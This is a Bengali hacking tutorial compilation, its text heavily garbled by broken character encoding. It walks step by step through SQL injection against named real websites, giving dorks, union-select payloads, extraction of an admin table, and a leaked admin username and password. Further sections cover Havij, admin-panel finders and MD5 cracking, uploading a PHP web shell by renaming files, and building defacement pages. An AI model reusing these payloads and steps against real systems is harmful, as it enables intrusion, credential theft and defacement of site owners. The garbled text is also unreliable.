সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo

এফায সম সকান একটি াআচছট পরচছফ করন

এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ

httpwwwpaulprescottcomthemephpid=10

অভযা এআ াআটটিচছক টাচছগবট কযরাভ

এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10

এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান

এফায এনটায কতদন

এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ

এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ

এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ

মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ

Current DB XXXX

কতনচছচয ছকতফটি সদখন

এফায ―Tables tab এ মান

এফায ―Get DBlsquos এ কতিক করন

এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema

দটা পাআর

―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক

শধ ভাতর ―paul_third কতচছরকট করন

এফায ―Get Tables এ কতিক করন

তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন

এখন অভযা administration panel টি যাক কযচছত সচিা কযফ

এখন ―admin table টি সচক করন

এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না

এফায ―Get Columns ফাটচছন কতিক করন

তাচছর কতনচছচয ভচছতা অচছফ

এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)

এফায ―Get Data টযাচছফ কতিক করন

তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ

অফায ―Find Admin টযাচছফ কতিক করন

তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ

এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয

তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না

ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন

এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ

তাচছর অভযা Administration Panel সরাভ

এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন

মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade

সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা

তাচছর কথা না ফাকতযচছয শর ককতয

পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ

এয জনয অভযা dork use কযফ

inurlindexphpid= inurltrainersphpid=

inurlbuyphpcategory= inurlarticlephpID=

inurlplay_oldphpid= inurldeclaration_morephpdecl_id=

inurlPageid= inurlgamesphpid=

inurlpagephpfile= inurlnewsDetailphpid=

inurlgalleryphpid=

এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয

8500 SQL dorks list

httppastebincomdzknXjgP or

httppastebincomayV6tNS2

পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ

inurlnews-and-eventsphpid=

এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ

সমভন httpwwweastodissaacinnews-and-eventsphpid=22

ছকতফঃ

পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য

এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা

এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ

httpwwweastodissaacinnews-and-eventsphpid=22

মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable

সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the

right syntax to use near rdquorsquo at line 1Prime

ছকতফঃ

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 3: Hacking Bangla eBook

যাকায মাযা

যাকায চছেন একজন ফযাকতি কতমকতন শধভাতর কতফকতবনন ভাধযভকতচছেভ এয খত খচছজ সফয কচছয কতকনত কততকতন এয কষকততাধন কচছযন না একজন যাকায ভরত একজন সপরাগরাভায মায পরধান কাজ চছে নরাআচছন সকান কতচছেচছভয খাযাকতদকগচছরা খচছজ সফয কযা তাযা সপরাগরাভায এফং তাযা সপরাগরাভ নতন নতন খতচছফয কযচছত ফযফায কচছয

যাকায সপাযাভ

অকতন একজন যাকায চছত চছর পরথচছভ অনাচছক কতফকতবনন আকতথকার যাকায মাযাভরত আকতরট (এ ফযাাচছয অচছগয ধযাচছয ফরা চছযচছছ) তাচছদয সথচছক গরতবণব টিগচছরা কতচছখ কতনচছত চছফ অয কতফকতবনন ধযচছনয টি কতনচছয অচছরাচনা য সপাযাচছভকতনচছচ যাকাযচছদয জনয কচছযকটি গরতবণব সপাযাচছভয কতরংক পরদান কযা র সপাযাভগচছরাচছত সমাগকতদন এফং কতনযকতভত সািগচছরা িন সকান কতফলয জানচছত চাআচছর সখাচছনআ াাময চাআচছত াচছযন

wwwhackerthreadsorgwwwhackforumsnetwwwhackerorgforumwwwcrackhackforumcom

যাকতকংকতযচছাব

যাকতকং কযচছত চছর কতফকতবনন পটযযায পরচছযাজন য পরচছযাজন য সকাড কতিপট ডকব আতযাকতদয কতনচছচ কতকছ কতরংক সদযা র সমখান সথচছক অকতন চছনকভরযফান যাকতকং কতযচছাব সচছত াচছযন মা অনাচছক যাকায চছত াাময কযচছফ

httpwwwethicalhackernethttpinsecureorghttphackerresourcezcomhttpwwwcertifiedethicalhackercomhttpwwwelitehacknethttpwwwelite-hackerscomhttpwwwexploit-

dbcomhttpwww1337daycomhttpwwwbreakthesecuritycomhttpwwwthehackerslibrarycomhttpwwwport7alliancecomhttpwwwhackersnlhttphackmeintripodcomhttpkyrionhackingtutorialscomhttp

wwwhacking-gurusnethttphackmyasswordpresscomhttpwwwborntohackinhttpwwwcriticalsecuritynethttpww

wmpghnethttpwwwduniapasswordcomhttpwwwprogamercitynetযাকায

ভকতব

কতনচছচ কতকছ ভকতবয নাভ সদযা র মা একজন যাকাচছযয সদখা তযানত গরতবণব তাচছর এখনআ অযমভ কচছয কতদন কতফচছনাদন অয যা সকানটা সকভন রাগচছরা স িচছকব সযায কযচছত বরচছফন না কতকনত বাচছরা থাকচছফন অভায জনয সদাযা কযচছফন অজ এ মনতবআ

TRON (1982) THE GIRL WITH THE DRAGON TATTOO (2009) WARGAMES (1983) DIE HARD 4LIVE FREE OR DIE HARD (2007) SNEAKERS (1992) THE MATRIX (1999) EXISTENZ (1999) THE

CONVERSATION (1974) THE SCORE (2001) FOOLPROOF (2003) HACKER (1995) ANTITRUST (2001) PIRATES OFSILICONVALLEY(1999) THE LAWNMOWER MAN (1992) THE CORE (2003)

VIRTUOSITY (1995) TAKEDOWN (2000) DEJA VU (2006) ONE POINT O (2004) REVOLUTION OS (2001) THE NET (1995) TRON LEGACY (2010) THE ITALIAN JOB (2003) DISCLOSURE (1994)

JURASSICPARK(1993) SWORDFISH (2001) THE THIRTEENTH FLOOR (1999) UNTRACEABLE (2008) GAMER (2009)

কতরচছখচছছনঃ সভচছকতদ াান

যাকতকং অআকত চছনক গরতব ণব একটি কতফলয অজ অভযা অআকত িচছকব জানফ অন তাচছর শর কযা মাক অভা অআকত এচছে কতক

IP Address কতক এফং তায খটিনাটী

IP Address কতক IP Address ফা Internet ProtocolAddress র একটি ংখযাকতফচছল মা Network-এ মিপরকততটি Device-এয জনয কতনধবাকতযত মাযা Communication-এয জনয Internet Protocol ফযফায কচছয পরকততটি IP Address

র Unique অকতন মখন একটা কতনকতদব ি IP Addressফযফায কযচছছন তখন সটা অয সকউ ফযফায কযায মভফনা সনআ IP Address কতদচছযআ Network ফযফাযকাযীচছক নাি কযা যঅকতন সম Internet ServiceProvider-এয কাছ সথচছক Internetসফা াচছেন তাযা এআ IPAddress-এয ভাধযচছভআ অনাচছক অরাদাবাচছফ নািকযচছত াচছয

IP Address-এয কাজ কতক IP Address-এয ভরত দlsquoটি কাজ যচছযচছছ

1Host ফা Network Interface নািকযণ মাচছত অকতন ঠিকবাচছফ অনায কাকতিত Communication িনন কযচছত াচছযন

2Network ফযফাযকাযীয ফসথান খচছজ সফয কযা পরকততটা IP Address একটা কতনকতদব িসথানচছক কতনচছদব কচছয তাআ অকতন সকান জাযগা সথচছক Network ফযফায কযচছছন এটা IPAddress-এয ভাধযচছভ জানা মায IP Adderss-গচছরা র Binary Number কতকনত সফাঝায কতফধায জনয এগচছরাচছক ভানচছলয ঠনচছমাগযংচছকত (কষয ফা ংখযা) কতদচছয পরকা কযা চছয থাচছকIP Address-এয Version

যাকাযচছদয জনয একটি কতত গরতবণব কতজকতন চছে এআ IP Address সমচছত IPAddress-এয ভাধযচছভ Network

ফযফাযকাযীয সথান জানা মায তাআ যাকাচছযয জনয IP Addressরকতকচছয যাখা খফআ জরযী একটা কাজ নাচছর যাকাচছযয ফসথান পা চছয মাযায একটা চানস থাচছক

অনায কতনচছজয অআকত এচছে সদখা

পরথচছভ Start-gtRun-gtখাকতর ঘচছয কতরখন cmd এফায কী-সফাডব সথচছক এনটায চানএকটি কভানড একতযযা সদখচছত াচছফন সখাচছন কতরখন netstat ndashn এনটায চান একটি কতরে অনায াভচছন অচছফ সরাকার এচছেচছয কতদচছক সখযার করন সমটি পরথচছভ অচছফ সটিআ অনায অআকত এচছে কতিতীয কতনযভ অনায বরাউজাচছযয এচছে ফাচছয কতরখন wwwwhatismyipcom

একটি চছযফাআট খরচছফ সখাচছনআ ফি কষচছয অকতন অনায ফতব ভান অআকত সদখচছত াচছফন কতনচছচয কতরেটি ভচছন যাখন যফতীচছত কাচছজ রাগচছফ

ftpmdash-gt21smtpmdashgt25dnsmdash-gt53httpmdashgt80httpsmdash-gt81pop3mdash-gt110telnetmdashgt23

নামবাযগচছরা চছে সাটব নামবায এ িচছকব চছয সকান এক ভয অচছরাচনা কযা চছফ

সকান চছযফাআচছটয অআকত সফয কযায কতনযভ

মকতদ অকতন সকান চছযফাআট ফা সকান ফযকতিয একাউনট ফা তায কতকত যাক কযচছফন তাচছর ফপরবথভ সম কাজটি কযচছত চছফ তা চছে তায অআকত এচছে ংগর কযা মতকষন মনতব না অকতন তায অআকত এচছে সফয কযচছত াযচছছন ততকষন মনতব অকতন তায কতক আ ফা কযচছত াযচছফন এখন অনাচছদয সদখাকতে সমবাচছফ সকান চছযফাআচছটয অআকত এচছে সফয কযচছফন

পরথচছভ Start-gtRun-gtখাকতর ঘচছয কতরখন cmd এফায কী-সফাডব সথচছক এনটায চানএকটিকভানড একতযযা সদখচছত াচছফন সখাচছন কতরখন tracert websitename এনটায চান এখন কতকছ তথয সবযংকতকরযবাচছফ অনায াভচছন অচছফ অকতন সখাচছন নীরযংচছযয কতকছ সরখা সদখচছত াচছফন অকতন সখাচছনআ অনায কাকতিত অআকত এচছে টি সদখচছত াচছফন নীর সরখাগচছরায পরথভ রাআচছনআ অকতন অআকতটি সদখচছত াচছফন কতিতীয রাআন এবাচছফ চছফারচব ৩০টি হ সদখচছত াচছফন

হচছয ফযাখযা

মখন অকতন সকান চছযফাআচছট পরচছফচছয সচষঠা কচছযন তখন অকতন সবযংকতকরযবাচছফ কতকছতথয সআ চছযফাআচছটয কাচছছ সপরযন কচছযন মায পরকততউততচছয সআ চছযফাআটটি অনায কাচছছ কতকছ তথয সপরযন কচছয (মায পরাপর সবর অকতন চছযফাআট টিচছক সদখচছত ান)এআ পরকতকরযাটি চরচছতআ থাচছক ভচছন করন অকতন কভানড একতযযায কতরখচছরন tracert yahoocom

তখন অনায এআ তচছথযয যাচছকজটিগগচছরয াবব াচছয (চছমখাচছন তথয জভা থাচছক) মাচছফ গগর অনাচছক এয পরকততউততযাঠাচছফ সমচছত গগর একটি ফি াআট সচছত এয চছনকগচছরা াবব ায যচছযচছছতযাং পরকততউততযগচছরা সকর াবব ায সথচছকআ অচছ এফায অকতন অনায কভানড একতযযায রকষ করন সখাচছন চছফারচব ৩০টিয ভত অআকত হ যচছযচছছ এতগচছরা অাযভাচছন চছে গগর তায মতগচছরা াবব ায সথচছক অনায কাচছছ তথয সপরযন কযচছছ সআ াবব াযগচছরায অআকত হআ অকতন সদখচছত াচছেন

কভানডএকতযযায অকতন ধযচছনয কতকছ কতচন সদখচছত াচছফন এয ভাচছন চছে এআ সম সসথানগচছরাচছত পাযাযযার সথান কযা যচছযচছছ মাচছত কচছয সম সকউ চছজ অকরভনকযচছত না াচছয

াধাযন বর-ধাযনা

চছনচছকআঅচছছন মাযা ভচছন কচছযন সম আনটাযচছনট সথচছক সকান উরচকষভতা িনন সপকব াতযতথয ফা তথযাকতদ সদখা ফা জানা মায না অচছর এটি বর ধাযনা ভচছন করন আনটাযচছনচছট চছনচছকআ টপাআর ফা সযকতডচছযাচছযয কতপরকতভযাভ একাউনট সদয মাচছথচছক অকতন উকত ন কতকনত ভযা চছে অকতন জাচছনন না এআ একাউনট সকাথা সথচছক সদযা চছযচছছ অকতন আচছে কযচছরআ এফ তথয জানচছত াচছযন

মখন অকতন কভানড একতযযায সকান চছযফাআচছটয কতফযীচছত nslookup কতরচছখ এনটায কতদচছফনতখন যত এযকভ সরখা অচছত াচছয সম You are now authentized to this route

এযকভ কতকছ সরখা সদখচছরআ অকতন ফচছঝ সনচছফন সম আ চছযফাআচছট সপকব াতয তথযযচছযচছছ আ চছযফাআট িচছকব কতফসতাকতযত জানচছত অকতন কতনচছচয চছযফাআটগচছরাফযফায কযচছত াচছযন

wwwsamspadecomwwwdnsstuffcomwwwwhoisnet wwwwhois ঐ কর চছযফাআচছট শধভাতর চছযফাআটটিয নাভ কতদচছযআ অকতন এযঅআকত সথান ভাকতরচছকয নাভ কচছফ সকনা চছযচছছ সভযাদ কত কতদচছনয নদকতনক কতবকতজটযংখযা সনভ াবব ায আতযাকতদ কতফকতবনন তথয জানচছত াযচছফন তথয সজাগাি কযাএকজন যাকাচছযয পরাথকতভক কাজ এটি না কযচছর অকতন কতকছআ কযচছত াযচছফন না

কতরচছখচছছনঃ সভচছকতদ াান

আচছভআর দাতায অআকত ননধান

